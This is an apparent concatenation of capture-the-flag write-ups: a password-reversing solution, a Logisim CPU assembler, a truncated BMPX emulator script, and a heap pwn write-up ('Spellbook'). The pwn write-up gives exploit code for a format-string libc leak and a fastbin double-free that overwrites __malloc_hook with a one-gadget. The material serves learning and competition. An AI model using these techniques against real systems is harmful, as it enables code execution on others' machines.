understand that the program requires the username to be ```bossbaby```, or else it will fail and exit. 33 | 34 | However, it doesn't end there. The program will then do another check with the following function: 35 | 36 | ```c 37 | if ( (unsigned int)sub_12AD(v5) == 38 ) 38 | printf("You're boss baby!"); 39 | ``` 40 | 41 | So we would like that function to return 38? in order to win. Let's take a look at the function itself: 42 | 43 | ## Reversing the Password 44 | 45 | ![IDA-Secret](img/ida_secret.png) 46 | 47 | Remember that this function had ```v5``` as an argument in main, which was the password that was scanned here: 48 | 49 | ```c 50 | printf("Please enter your password: "); 51 | __isoc99_scanf("%s", v5); 52 | ``` 53 | 54 | That means that ```a1``` will be the password buffer inside the context of this function as it is it's only argument: 55 | 56 | ```c 57 | __int64 __fastcall sub_12AD(char *a1) 58 | ``` 59 | 60 | Initially when solving this I ignored most of the stuff in this function as it seems to be pointless. For example, looking at: 61 | 62 | ```c 63 | if ( (v2 & 0xFFF) != 0 ) 64 | *(__int64 *)((char *)&v6[-1] + (v2 & 0xFFF)) = *(__int64 *)((char *)&v6[-1] + (v2 & 0xFFF)); 65 | ``` 66 | 67 | This looks like a useless bit of code, so naturally I will ignore this and come back later only if I am stuck. The actually important part of this function is the following: 68 | 69 | ```c 70 | sub_1209(s, v6); 71 | for ( i = 0; ; ++i ) 72 | { 73 | v4 = i; 74 | if ( v4 >= strlen(s) ) 75 | break; 76 | if ( dword_4020[i] == *((_DWORD *)v11 + i) ) 77 | ++v8; 78 | } 79 | return v8; 80 | ``` 81 | 82 | A bunch of stuff happens here. In detail: 83 | - Function ```sub_1209``` is called with ```s``` and ```v6``` as arguments. If we look at the start of the current function, we can see that ```s = a1```, so ```s``` is our password input. So some kind of function is ran on our password, let's keep this in mind and check later. 84 | - We iterate starting from 0 till ```strlen(s)```(or the length of our input password) and advance a variable called v8 if ```dword_4020[i] == *((DWORD *)v11 + i)```. However, what is ```dword_4020``` and ```v11```? 85 | - ```dword_4020``` is a global array of some weird bytes and we can see it by double clicking on it: ![global](img/global.png) 86 | - ```v11``` is set above as ```v11 = v6```, but v6 is actually set in the ```sub_1209``` function that we haven't looked at yet 87 | 88 | ## Tip 89 | When looking at something like ```*((_DWORD *)v11 + i)``` in IDA, this could be translated to ```v11[i]```, if and only if ```v11``` is a array of DWORDS. 90 | 91 | This is as when you cast a pointer to a "pointer to some sized variable" in C, the compiler will assume any following offseting (for example, ptr + 0, ptr + 1, etc) as: ptr + offset * sizeof(element), where element is the size of the type we casted it as. 92 | 93 | So if we cast v11 to a DWORD*, it basically means: 94 | ```*(v11 + i * sizeof(DWORD))``` 95 | 96 | i = 0: *(v11 + 0) = v11[0]\ 97 | i = 1: *(v11 + 4) = v11[1]\ 98 | i = 2: *(v11 + 8) = v11[2]\ 99 | ... 100 | 101 | IDA doesn't actually know what the array is made for, and thus will most of the times produce these weird casts. If you are sure that this is a DWORD array, you can select the variable and hit ```Y```, which will bring up the change type window. You can then change the type to what you think it is: 102 | 103 | ![IDA-type-change](img/ida_type_change.png) 104 | 105 | Which will then make it look a lot more normal: 106 | 107 | ![IDA-new-type](img/ida_new_type.png) 108 | 109 | ## Reversing the Password 110 | 111 | Continuing where we left off, it is now pretty clear that each byte of the global ```dword_4020``` array is compared to each byte of the ```v11``` array. Let's look at the ```sub_1209``` function: 112 | 113 | ![sub](img/sub.png) 114 | 115 | Hmmm, ```*(_DWORD *)(4LL * i + a2)``` doesn't seem right, let's use our new ✨reconstructing✨ skills we learnt above to turn this into a ```DWORD``` array: 116 | 117 | ![sub_recon](img/sub_reconstruct.png) 118 | 119 | Ah, much better. Each number of the a2 array is set to the corresponding number of the a1 array, ```shifted left``` by ```i % 7``` and then has ``` i * i ``` added to it. However, recall that ```a1``` is indeed our input password. Thus, what actually happens here, is each byte of our input password is manipulated with that formula, then put into the ```a2``` array, which is then compared with the global byte array. 120 | 121 | So, if we want our password to be equal to the byte array after this formula is ran on it, we can just do the reverse, and run the reversed formula on the global byte array instead. Let's do that in python: 122 | 123 | ```py 124 | bytes = [0x66, 0x0D9, 0x188, 0x341, 0x7C0, 0x6F9, 0x18A4, 0x95, 0x10A, 0x1D5, 0x37C, 0x3A9, 0x7B0, 0x1969, 0x127, 0x1A3, 0x1C4, 0x2B9, 0x754, 0x889, 0x0F50, 0x1F0, 0x254, 0x2D9, 0x558, 0x571, 0x924, 0x1019, 0x342, 0x3AD, 0x508, 0x6E9, 0x0A30, 0x10E1, 0x1284, 0x500, 0x5D2, 0x74D] 125 | 126 | flag = '' 127 | for i in range(len(bytes)): 128 | x = (bytes[i] - i * i) >> (i % 7) 129 | flag += chr(x) 130 | 131 | print(flag) 132 | ``` 133 | 134 | I extracted all the bytes from the global array, then for each one of them, I apply the reversed formula: 135 | - Subtract ```i * i``` as it's the last that's added in the normal formula 136 | - Shift right instead of left, to bring to original position 137 | 138 | And... voila! 139 | 140 | ![solve](img/solve.png) -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/README.md: -------------------------------------------------------------------------------- 1 | # Spellbook 2 | 3 | ## tl;dr 4 | 5 | A heap challenge with every bug in the world (?) 6 | 7 | ## Vulnerabilities 8 | 9 | We get a binary that when run shows a prompt with a standard ctf diary behavior. We can add, show, edit and delete entries (spells ?) so this is most likely a heap challenge. 10 | 11 | ![Run](img/prompt.png) 12 | 13 | By taking a quick look into the decompilation in IDA, we can see that a couple of vulnerabilities are created by the ```delete``` functionality: 14 | 15 | ![Delete](img/ida_delete.png) 16 | 17 | We can see that when deleting, the program frees the ```ptr->sp``` and ```ptr``` itself, but it never sets ```ptr = 0``` or ```ptr->sp = 0```, creating two dangling pointers that point to freed chunks. Since the check only checks ```if (idx <= 9 && table[idx])```, even if we free an entry, the check will still succeed since ```table[idx]``` is never set to 0 after freeing. Therefore, this creates a ```double-free``` bug. 18 | 19 | Moreover, when looking at the ```edit``` functionality, we can see the exact same check: 20 | 21 | ![Edit](img/ida_edit.png) 22 | 23 | Which means that we can also edit a chunk after deleting it. Therefore, we also have a ```use-after-free``` bug. 24 | 25 | One of these bugs is already enough to get code execution, but we would also need a address leak (libc or PIE) to make our life easier. Thankfully, by checking the ```show``` functionality, we can see that the program also has a ```format-sting``` vulnerability as it passes ```table[idx]->type``` and ```table[idx]->sp``` as the format parameter to printf: 26 | 27 | ![Show](img/ida_show.png) 28 | 29 | Therefore, we can also hopefully get a libc leak from some stack addresses. 30 | 31 | The program also has a heap overflow in the ```edit``` functionality as it reads 0x1f into ```spell->fp``` regardless of its actual malloc'd size. However, this only allows us to edit the size of the next chunk and would be annoying to exploit. 32 | 33 | ## Leaking libc 34 | 35 | It is pretty easy to trigger the fmt, we just pass our format string as either the spell's type or spell, and then show the spell: 36 | 37 | ![Fmt](img/fmt.png) 38 | 39 | So, we break at the printf call that causes the fmt at show+170, and check the stack to see if we can leak something: 40 | 41 | ![Leak](img/libc.png) 42 | 43 | 44 | We see a very nice ```__libc_start_main+240``` address in the stack, therefore we choose to leak that. Finally, the full script to get the libc base would be: 45 | ```py 46 | # add fmt spell 47 | add(1, b'%13$p', 0x60, b'aaa') 48 | 49 | # get leak 50 | show(1) 51 | io.recvuntil(b': 0x') 52 | leak = io.recvuntil(b'\n') 53 | 54 | # get libc base 55 | libc.address = int(leak, 16) - libc.symbols['__libc_start_main'] - 240 56 | log.info(f'libc @ {hex(libc.address)}') 57 | ``` 58 | 59 | ## Double-Free to Code Execution 60 | 61 | Since we now have libc, we only have to exploit one of the bugs to get code execution. While use-after-free is the easiest, I chose double-free because I didn't notice the uaf... 62 | 63 | With ```double-free```, and since we are on glibc 2.23, our goal is to get a fastbin corruption by crafting a duplicated fastbin. To begin with, we can trigger the double free by simply doing the following: 64 | 65 | ```py 66 | # add fmt spell 67 | add(1, b'%13$p', 0x60, b'aaa') 68 | 69 | # get leak 70 | show(1) 71 | io.recvuntil(b': 0x') 72 | leak = io.recvuntil(b'\n') 73 | 74 | # get libc base 75 | libc.address = int(leak, 16) - libc.symbols['__libc_start_main'] - 240 76 | log.info(f'libc @ {hex(libc.address)}') 77 | 78 | # second chunk 79 | add(2, b'yes', 0x60, b'aaa') 80 | 81 | # free first chunk 82 | delete(1) 83 | 84 | # free second chunk 85 | delete(2) 86 | 87 | # double free, we now have a duplicated fastbin 88 | delete(1) 89 | ``` 90 | 91 | After the first and second free, out bins look normal, containining 2 free chunks in the 0x70 bin corresponding for the first and second allocation: 92 | 93 | ![Free_1_2](img/free_1_2.png) 94 | 95 | However, after freeing the first again, by double freeing the chunk, we manage to corrupt the fastbin: 96 | 97 | ![Free_1_2](img/free_1_2_1.png) 98 | 99 | Therefore, we now have the first chunk twice in the fastbin! Now, we have to allocate one of the duplicate chunks and edit it. When we edit it, the second duplicate chunk will still exist in the fastbin, so our edited contents will exist in a free chunk in the fastbin. 100 | 101 | If we edit the next pointer of the first duplicate chunk, we can basically change the next pointer of the free chunk, so we can add any arbitrary address into the fastbin. This means, that if we keep allocating, malloc at some point will return a pointer to that arbitrary address if no other free chunk of the same size exists. 102 | 103 | Therefore, our goal here will be to get malloc to return a pointer to ```__malloc_hook``` so we can overwrite it and get code execution. However, the free chunk has to have a valid size. Thankfully, the is a 0x7f byte some bytes above ```__malloc_hook```, so we can use that as a fake size. 104 | 105 | Initially, we allocate the first duplicate chunk and set its contents as ```__malloc_hook - 0x23```. This will edit the next pointer of the second free chunk to be at the 0x7f byte above malloc hook. We can do this with the following: 106 | ```py 107 | add(1, 'wee', 0x60, p64(libc.sym['__malloc_hook'] - 0x23)) 108 | ``` 109 | 110 | Right after this allocation, if we check our bins, we see that we have a free chunk at 0x7f756af92afd, which looks like it is malloc hook =) 111 | 112 | ![Alloc_1](img/alloc_1.png) 113 | 114 | Now, we just have to keep allocating until malloc returns a pointer to that chunk: 115 | 116 | ```py 117 | add(2, b'yes', 0x60, b'aaa') 118 | add(3, b'yes', 0x60, b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') 119 | ``` 120 | 121 | After these two allocs, we check our bins: 122 | 123 | ![Alloc_1](img/close.png) 124 | 125 | Woo, our next one will be the malloc hook chunk! Eh, not yet. Unfortunately the 0x30 bin is ruined, and we need it for our struct allocations. However, we can fix that by doing another allocation and freeing it after everything else so we have another free 0x30 chunk: 126 | 127 | ```py 128 | add(8, 'aaa', 0x20, b'aaa') 129 | delete(8) 130 | ``` 131 | 132 | After this, our bins look like this: 133 | 134 | ![Alloc_1](img/almost.png) 135 | 136 | Now, the next allocation will return a pointer close to malloc hook! With some offset bruteforcing, we allocate it and overwrite it to some random one-gadget: 137 | 138 | ```py 139 | add(4, b'yes', 0x60, b'1111111111111111111' + p64(libc.address + one) + b'45678901234567890') 140 | ``` 141 | 142 | And voila: 143 | 144 | ![Alloc_1](img/flag.png) 145 | -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/README.md: -------------------------------------------------------------------------------- 1 | # Hardware Madness 2 | 3 | ## tl;dr 4 | 5 | CPU circuit with custom defined instructions that need to be assembled into binary 6 | 7 | ## Analysis 8 | 9 | Let's open the circuit in Logisim Evolution: 10 | 11 | ![Logi](img/logi_init.png) 12 | 13 | We can obviously see this is a CPU circuit. We can see a PC (Program Counter), RAM, Registers, an ALU and a bus. We can click on Simulate on top left and click on CU to get a view of the instructions this circuit can run: 14 | 15 | ![Instructions](img/cpu_instructions.png) 16 | 17 | ## Analysing The Example 18 | 19 | Before we move forward, let's take a look at the example files: 20 | 21 | ![Instructions](img/example.png) 22 | 23 | We can see 7 custom-assembly instructions on the example.asm file and 7 3-hex assembled instructions on the left. To understand the structure of this a bit more, let's take a look at how instructions are broken down in the circuit: 24 | 25 | ![Instructions](img/wr.png) 26 | 27 | The instruction that's stored in WR is broken down in 21 bits. The structure is the following: 28 | 29 | | opcode | arg1 | arg2 | 30 | | :---: | :---: | :---: | 31 | | 16-20 | 8-15 | 0-7 | 32 | 33 | The opcode takes 5 bits while both the arguments take 8 bits each. This means we can represent all of them with one byte each. 34 | 35 | ## Breaking Down The Instrucitons 36 | 37 | Looking back at the example: 38 | 39 | ![Instructions](img/example.png) 40 | 41 | Let's take a look at the instructions: 42 | 43 | ```asm 44 | movl ax, 10 45 | ``` 46 | 47 | turns into 10000a when assembled. We can break that down to [10][00][0a] or: 48 | 49 | | opcode | arg1 | arg2 | 50 | | :---: | :---: | :---: | 51 | | 10 | 00 | 0a | 52 | 53 | Which basically tells us: 54 | 55 | 1. The instruction is 0x10, so movl 56 | 2. The first argument is 00, so it corresponds to the first register ax 57 | 3. The second argument is 0x0a, which corresponds to the hex value 0A or decimal 10 58 | 4. Summarizing, we move the value 0x0A into ax 59 | 60 | The same very basic logic goes for every other instruction. Now if we knew every instruction's opcode, we could technically assemble any instruction we find in our way. 61 | 62 | ## Labels 63 | 64 | Before we get to that, let's also look at our 7th instruction: 65 | 66 | ```asm 67 | movl bx, :sub1 68 | ``` 69 | 70 | This instruction obviously moves the label :sub1 into the register bx. This instruction gets turned into 100101 or: 71 | 72 | | opcode | arg1 | arg2 | 73 | | :---: | :---: | :---: | 74 | | 10 | 01 | 01 | 75 | 76 | Where arg2 is obviously the label. The value 1 is given to us to point to label :sub1, which is right before the second instruction. This would mean that a label is an address pointer, so we would also need to keep track of those in our assembler. 77 | 78 | ## Reversing The Opcodes 79 | 80 | We now know the structure that we want to assemble into. What we're missing is the opcodes. Let's open up our CPU instructions again: 81 | 82 | ![Instructions](img/cpu_instructions.png) 83 | 84 | Clicking on any one of those will take us to the corresponding circuit that handles the instruction. For example, let's go to the CALL instruction: 85 | 86 | ![Instructions](img/call_full.png) 87 | 88 | We see the entire CALL circuit. We can see a couple of inputs here. The ones that we care about are: 89 | 90 | 1. IR (Instruction Register) 91 | 2. AX, BX, CX, DX (General Purpose Registers) 92 | 93 | Let's look closer into the IR input: 94 | 95 | ![Instructions](img/call_ir.png) 96 | 97 | We can clearly see that this becomes 1, if and only if the value in IR is 10001 or 0x11. Voila, we found the opcode for CALL!. We can repeat this for any other instruction. Let's also check CJMP: 98 | 99 | ![Instructions](img/cjmp.png) 100 | 101 | Here we can instead see that IR goes into multiple AND gates. Each one of those is a specific jump instruction, i.e. JG (Jump Greater), JGE (Jump Greater Or Equal), JL (Jump Less) etc... 102 | 103 | We can extract the opcodes for all of these. For example, we can see that JL becomes 1 if and only if IR is 01010 or 0x0a. 104 | 105 | ## Assembling 106 | 107 | Since we now know everything we need to assemble the code, let's write an assembler for this. 108 | 109 | We first define the opcodes. I only define the ones we actually use in program.data: 110 | 111 | ![Instructions](img/opcodes.png) 112 | 113 | We can then define the registers: 114 | 115 | ![Instructions](img/registers.png) 116 | 117 | Before we start assembling, we also need to parse the labels: 118 | 119 | ![Instructions](img/parse_labels.png) 120 | 121 | We come up with the following script: 122 | 123 | ```py 124 | # assembler.py 125 | input = open('program.asm', 'r') 126 | out = open('program.data', 'w+') 127 | 128 | binary = [] 129 | 130 | # opcodes 131 | opcodes = { 132 | 'movl' : 0x10, 133 | 'clr' : 0x03, 134 | 'mmiv' : 0x17, 135 | 'mmov' : 0x18, 136 | 'call' : 0x11, 137 | 'push' : 0x14, 138 | 'sub' : 0x01, 139 | 'cmp' : 0x13, 140 | 'jnz' : 0x0e, 141 | 'pop' : 0x15, 142 | 'msk' : 0x1a, 143 | 'mskb' : 0x1b, 144 | 'jl' : 0x0a, 145 | 'jmp' : 0x05, 146 | 'ret' : 0x12 147 | } 148 | 149 | # registers 150 | registers = { 151 | 'ax' : 0x00, 152 | 'bx' : 0x01, 153 | 'cx' : 0x02, 154 | 'dx' : 0x03 155 | } 156 | 157 | labels = {} 158 | 159 | def make_operand(operand): 160 | # If addition on label 161 | if len(operand.split('+')) == 2: 162 | arr = operand.split('+') 163 | return str(hex(labels[arr[0]] + int(arr[1], 10))[2:]).zfill(2) 164 | 165 | # Convert depending on type 166 | if operand in registers: 167 | return str(hex(registers[operand])[2:]).zfill(2) 168 | elif operand in labels: 169 | return str(hex(labels[operand])[2:]).zfill(2) 170 | elif operand.startswith('0x'): 171 | return str(hex(int(operand, 16))[2:]).zfill(2) 172 | elif operand.isnumeric: 173 | return str(hex(int(operand, 10))[2:]).zfill(2) 174 | else: 175 | return str(hex(int(operand, 16))[2:]).zfill(2) 176 | 177 | def parse_labels(lines): 178 | instruction_counter = 0 179 | for line in lines: 180 | l = line.strip() 181 | 182 | # parse labels 183 | if l.startswith(':'): 184 | labels[l] = instruction_counter 185 | continue 186 | 187 | instruction_counter += 1 188 | return 189 | 190 | def compile(): 191 | out.write('v2.0 raw\n') 192 | for instr in binary: 193 | out.write(instr + ' ') 194 | return 195 | 196 | def parse(): 197 | instruction_counter = 0 198 | lines = input.readlines() 199 | parse_labels(lines) 200 | print(labels) 201 | for line in lines: 202 | l = line.strip() 203 | 204 | if l.startswith(':'): 205 | continue 206 | 207 | instruction = '' 208 | opcode = l.split(' ')[0] 209 | instruction += str(hex(opcodes[opcode])[2:]) 210 | 211 | # remove empty spaces 212 | args = [x.replace(',', '') for x in l.split(' ') if x != ''] 213 | 214 | # check if instruction with no args 215 | if len(args) != 1: 216 | instruction += make_operand(args[1]) 217 | instruction += make_operand(args[2]) 218 | else: 219 | instruction += '0000' 220 | 221 | binary.append(instruction) 222 | instruction_counter += 1 223 | 224 | 225 | parse() 226 | compile() 227 | #print(labels) 228 | ``` 229 | 230 | And we use it to compile the binary. 231 | 232 | ## Flag 233 | 234 | We go back to our circuit and load our binary into the RAM: 235 | 236 | ![Instructions](img/ram_loaded.png) 237 | 238 | We then set the frequency to the highest and run the simulation with "Auto-Tick Enabled" and "Auto-Propagate": 239 | 240 | ![Instructions](img/frequency.png) 241 | 242 | After a few minutes, the flag appears in the tty: 243 | 244 | ![Instructions](img/flag.png) -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/sol.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | INSTR = [ 4 | 'WIPE', 5 | 'NEGATE', 6 | 'SWAP', 7 | 'DEAL', 8 | 'DEALW', 9 | 'DRAW', 10 | 'DRAWW', 11 | 'JUMP', 12 | 'LOADI', 13 | 'LOADB', 14 | 'STOREB', 15 | 'COPY4', 16 | 'XOR', 17 | 'ADD', 18 | 'BEQ', 19 | 'HALT' 20 | ] 21 | 22 | 23 | binary = open('bmpx/chall.bmpx', 'rb') 24 | 25 | # Load into memory 26 | memory = [] 27 | byte = binary.read(1) 28 | while byte: 29 | memory.append(byte) 30 | byte = binary.read(1) 31 | memptr = 0 32 | binary.close() 33 | 34 | def ReadBytes(n): 35 | global memptr, memory 36 | bs = b"".join([b for b in memory[memptr:memptr+n]]) 37 | memptr += n 38 | return bs 39 | 40 | def ReadBytesAt(n, at): 41 | global memory 42 | bs = b"".join([b for b in memory[at:at+n]]) 43 | return bs 44 | 45 | magic = ReadBytes(2) 46 | fsize = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 47 | fexec = ReadBytes(4) 48 | 49 | if magic != b'BM' or fexec != b'EXEC': 50 | print('Magic bytes dont match with BMPX format.') 51 | exit() 52 | 53 | dataOffest = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 54 | hsize = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 55 | width = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 56 | height = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 57 | hplanes = int.from_bytes(ReadBytes(2), byteorder=sys.byteorder) 58 | bpx = int.from_bytes(ReadBytes(2), byteorder=sys.byteorder) 59 | hcomp = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 60 | isize = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 61 | XpixelsPerM = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 62 | YpixelsPerM = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 63 | colorsUsed = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 64 | colorsImportant = int.from_bytes(ReadBytes(4), byteorder=sys.byteorder) 65 | 66 | red = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 67 | green = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 68 | blue = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 69 | clrrsrvd = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 70 | red = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 71 | green = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 72 | blue = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 73 | clrrsrvd = int.from_bytes(ReadBytes(1), byteorder=sys.byteorder) 74 | 75 | RIP = 29 # Instruction Register 76 | PS = 30 # Prime Sequence Register 77 | PR = 31 # Position Register 78 | registers = [0] * 32 79 | 80 | # Initialize Registers 81 | registers[RIP] = dataOffest 82 | registers[PR] = dataOffest 83 | registers[PS] = 0x05030201 84 | 85 | print(f'Image Size: {width}x{height}') 86 | print(f'Data Offset: {hex(dataOffest)}') 87 | print('') 88 | print(f'{hsize} {width} {height} {hplanes} {bpx} {hcomp} {isize} {XpixelsPerM} {YpixelsPerM} {colorsUsed} {colorsImportant} {red} {green} {blue} {clrrsrvd}') 89 | 90 | memory[0x2E] = (2).to_bytes(1, 'little') 91 | memory[0x1C] = (1).to_bytes(1, 'little') 92 | memory[0x26] = (254).to_bytes(1, 'little') 93 | memory[0x2a] = (254).to_bytes(1, 'little') 94 | 95 | def PrintRegisters(): 96 | global memptr, registers, memory 97 | print(f'PS: {registers[PS]} RIP: {registers[RIP]} PR: {registers[PR]}') 98 | prtstr = '' 99 | for i in range(29): 100 | prtstr += f'R{i}: {registers[i]} ' 101 | print(prtstr) 102 | 103 | def PrintInstruction(binn): 104 | opcode = int(binn[0:4], 2) 105 | reg1 = int(binn[4:9], 2) 106 | 107 | sInstr = INSTR[opcode] 108 | 109 | 110 | if sInstr == 'DEAL' or sInstr == 'DEALW' or sInstr == 'WIPE' or sInstr == 'NEGATE' or sInstr == 'SWAP' or sInstr == 'DRAW' or sInstr == 'DRAWW' or sInstr == 'JUMP': 111 | reg = f'R{reg1}' 112 | if reg1 == RIP: 113 | reg = f'RIP' 114 | elif reg1 == PR: 115 | reg = f'PR' 116 | elif reg1 == PS: 117 | reg = f'PS' 118 | print(f'{INSTR[opcode]} {reg}\t\t\t({binn})') 119 | elif sInstr == 'COPY4': 120 | reg2 = int(binn[9:14], 2) 121 | regA = f'R{reg1}' 122 | if reg1 == RIP: 123 | regA = f'RIP' 124 | elif reg1 == PR: 125 | regA = f'PR' 126 | elif reg1 == PS: 127 | regA = f'PS' 128 | 129 | regB = f'R{reg2}' 130 | if reg2 == RIP: 131 | regB = f'RIP' 132 | elif reg2 == PR: 133 | regB = f'PR' 134 | elif reg2 == PS: 135 | regB = f'PS' 136 | 137 | b1 = int(binn[14]) 138 | b2 = int(binn[15]) 139 | b3 = int(binn[16]) 140 | b4 = int(binn[17]) 141 | 142 | print(f'{INSTR[opcode]} {regA} {regB} {b1}{b2}{b3}{b4}\t\t({binn})') 143 | elif sInstr == 'LOADI': 144 | imm = int(binn[9:25], 2) 145 | regA = f'R{reg1}' 146 | if reg1 == RIP: 147 | regA = f'RIP' 148 | elif reg1 == PR: 149 | regA = f'PR' 150 | elif reg1 == PS: 151 | regA = f'PS' 152 | 153 | print(f'{INSTR[opcode]} {regA} {imm}\t\t\t({binn})') 154 | elif sInstr == 'XOR' or sInstr == 'ADD': 155 | reg2 = int(binn[9:14], 2) 156 | reg3 = int(binn[14:19], 2) 157 | 158 | regA = f'R{reg1}' 159 | if reg1 == RIP: 160 | regA = f'RIP' 161 | elif reg1 == PR: 162 | regA = f'PR' 163 | elif reg1 == PS: 164 | regA = f'PS' 165 | 166 | regB = f'R{reg2}' 167 | if reg2 == RIP: 168 | regB = f'RIP' 169 | elif reg2 == PR: 170 | regB = f'PR' 171 | elif reg2 == PS: 172 | regB = f'PS' 173 | 174 | regC = f'R{reg3}' 175 | if reg3 == RIP: 176 | regC = f'RIP' 177 | elif reg3 == PR: 178 | regC = f'PR' 179 | elif reg3 == PS: 180 | regC = f'PS' 181 | 182 | print(f'{INSTR[opcode]} {regA} {regB} {regC}\t\t\t({binn})') 183 | elif sInstr == 'HALT': 184 | print(f'{INSTR[opcode]}\t\t\t\t({binn}') 185 | elif sInstr == 'LOADB' or sInstr == 'STOREB': 186 | reg2 = int(binn[9:14], 2) 187 | imm = int(binn[9:25], 2) 188 | 189 | regA = f'R{reg1}' 190 | if reg1 == RIP: 191 | regA = f'RIP' 192 | elif reg1 == PR: 193 | regA = f'PR' 194 | elif reg1 == PS: 195 | regA = f'PS' 196 | 197 | regB = f'R{reg2}' 198 | if reg2 == RIP: 199 | regB = f'RIP' 200 | elif reg2 == PR: 201 | regB = f'PR' 202 | elif reg2 == PS: 203 | regB = f'PS' 204 | 205 | print(f'{INSTR[opcode]} {regA} {regB} {imm}\t\t({binn})') 206 | else: 207 | print(sInstr + ' ' + binn) 208 | 209 | def Disassemble(): 210 | global memptr, registers, memory 211 | print('--- Disassembly ---') 212 | memptr = dataOffest 213 | isRunning = True 214 | counter = dataOffest 215 | while isRunning: 216 | binn = bin(int.from_bytes(ReadBytes(4), byteorder='big'))[2:].zfill(32) 217 | 218 | PrintInstruction(binn) 219 | counter += 4 220 | if counter > len(memory): 221 | isRunning = False 222 | 223 | PrintRegisters() 224 | 225 | def Step(): 226 | global memptr, registers, memory 227 | memptr = registers[RIP] 228 | binn = bin(int.from_bytes(ReadBytes(4), byteorder='big'))[2:].zfill(32) 229 | opcode = int(binn[0:4], 2) 230 | reg1 = int(binn[4:9], 2) 231 | 232 | sInstr = INSTR[opcode] 233 | 234 | if sInstr != 'JUMP': 235 | registers[RIP] = registers[RIP] + 4 236 | 237 | PrintInstruction(binn) 238 | if sInstr == 'COPY4': 239 | reg1 = int(binn[4:9], 2) 240 | reg2 = int(binn[9:14], 2) 241 | mask = int(binn[14:18], 2) 242 | 243 | registers[reg1] = (registers[reg1] & (~(1 << 0))) | (registers[reg2] & 1) 244 | registers[reg1] = (registers[reg1] & (~(1 << 1))) | (registers[reg2] & 2) 245 | registers[reg1] = (registers[reg1] & (~(1 << 2))) | (registers[reg2] & 4) 246 | registers[reg1] = (registers[reg1] & (~(1 << 3))) | (registers[reg2] & 10) 247 | 248 | 249 | elif sInstr == 'LOADI': 250 | reg1 = int(binn[4:9], 2) 251 | imm = int(binn[9:25], 2) 252 | registers[reg1] = (registers[reg1] & (0xFFFF0000)) | imm 253 | elif sInstr == 'ADD': 254 | reg1 = int(binn[4:9], 2) 255 | reg2 = int(binn[9:14], 2) 256 | reg3 = int(binn[14:19], 2) 257 | 258 | registers[reg3] = registers[reg1] + registers[reg2] 259 | elif sInstr == 'NEGATE': 260 | registers[reg1] = -1 * registers[reg1] 261 | elif sInstr == 'DRAWW': 262 | reg1 = int(binn[4:9], 2) 263 | 264 | registers[reg1] = int.from_bytes(ReadBytesAt(4, registers[PR]), byteorder='big') 265 | del(memory[registers[PR]]) 266 | del(memory[registers[PR]]) 267 | del(memory[registers[PR]]) 268 | del(memory[registers[PR]]) 269 | 270 | # Unchanged 271 | registers[PR] = registers[PR] 272 | registers[RIP] = registers[RIP] 273 | elif sInstr == 'DRAW': 274 | reg1 = int(binn[4:9], 2) 275 | 276 | registers[reg1] = ((registers[reg1] << 8) & 0xFFFFFFFF) | int.from_bytes(ReadBytesAt(1, registers[PR]), byteorder='big') 277 | del(memory[registers[PR]]) 278 | 279 | 280 | # Unchanged 281 | registers[PR] = registers[PR] 282 | registers[RIP] = registers[RIP] 283 | elif sInstr == 'DEAL': 284 | reg1 = int(binn[4:9], 2) 285 | memory.insert(registers[PR], 0) 286 | val = registers[reg1] >> 24 287 | memory[registers[PR]] = val.to_bytes(1, 'big') 288 | 289 | if registers[RIP] > registers[PR]: 290 | registers[RIP] = registers[RIP] + 1 291 | registers[PR] = registers[PR] + 1 292 | registers[reg1] = (registers[reg1] << 8) & 0xFFFFFFFF 293 | elif sInstr == 'DEALW': 294 | reg1 = int(binn[4:9], 2) 295 | 296 | if registers[reg1] < 0: 297 | registers[reg1] = registers[reg1] & 0xFFFFFFFF 298 | 299 | memory.insert(registers[PR], 0) 300 | memory.insert(registers[PR], 0) 301 | memory.insert(registers[PR], 0) 302 | memory.insert(registers[PR], 0) 303 | 304 | 305 | val = (registers[reg1] >> 0) & 0xFF 306 | memory[registers[PR] + 3] = val.to_bytes(1, 'big') 307 | val = (registers[reg1] >> 8) & 0xFF 308 | memory[registers[PR] + 2] = val.to_bytes(1, 'big') 309 | val = (registers[reg1] >> 16) & 0xFF 310 | memory[registers[PR] + 1] = val.to_bytes(1, 'big') 311 | val = (registers[reg1] >> 24) & 0xFF 312 | memory[registers[PR] + 0] = val.to_bytes(1, 'big') 313 | 314 | if registers[RIP] > registers[PR]: 315 | registers[RIP] = registers[RIP] + 4 316 | registers[PR] = registers[PR] + 4 317 | registers[reg1] = 0 318 | elif sInstr == 'LOADB': 319 | reg1 = int(binn[4:9], 2) 320 | reg2 = int(binn[9:14], 2) 321 | imm = int(binn[14:30], 2) 322 | 323 | registers[reg1] = (registers[reg1] & 0xFFFFFF00) | int.from_bytes(ReadBytesAt(1, registers[reg2] + imm), byteorder='big') 324 | 325 | elif sInstr == 'JUMP': 326 | reg1 = int(binn[4:9], 2) 327 | registers[RIP] = registers[reg1] 328 | elif sInstr == 'WIPE': 329 | reg1 = int(binn[4:9], 2) 330 | val = 0 331 | registers[reg1] = val.to_bytes(1, 'big') 332 | elif sInstr == 'XOR': 333 | reg1 = int(binn[4:9], 2) 334 | reg2 = int(binn[9:14], 2) 335 | reg3 = int(binn[14:19], 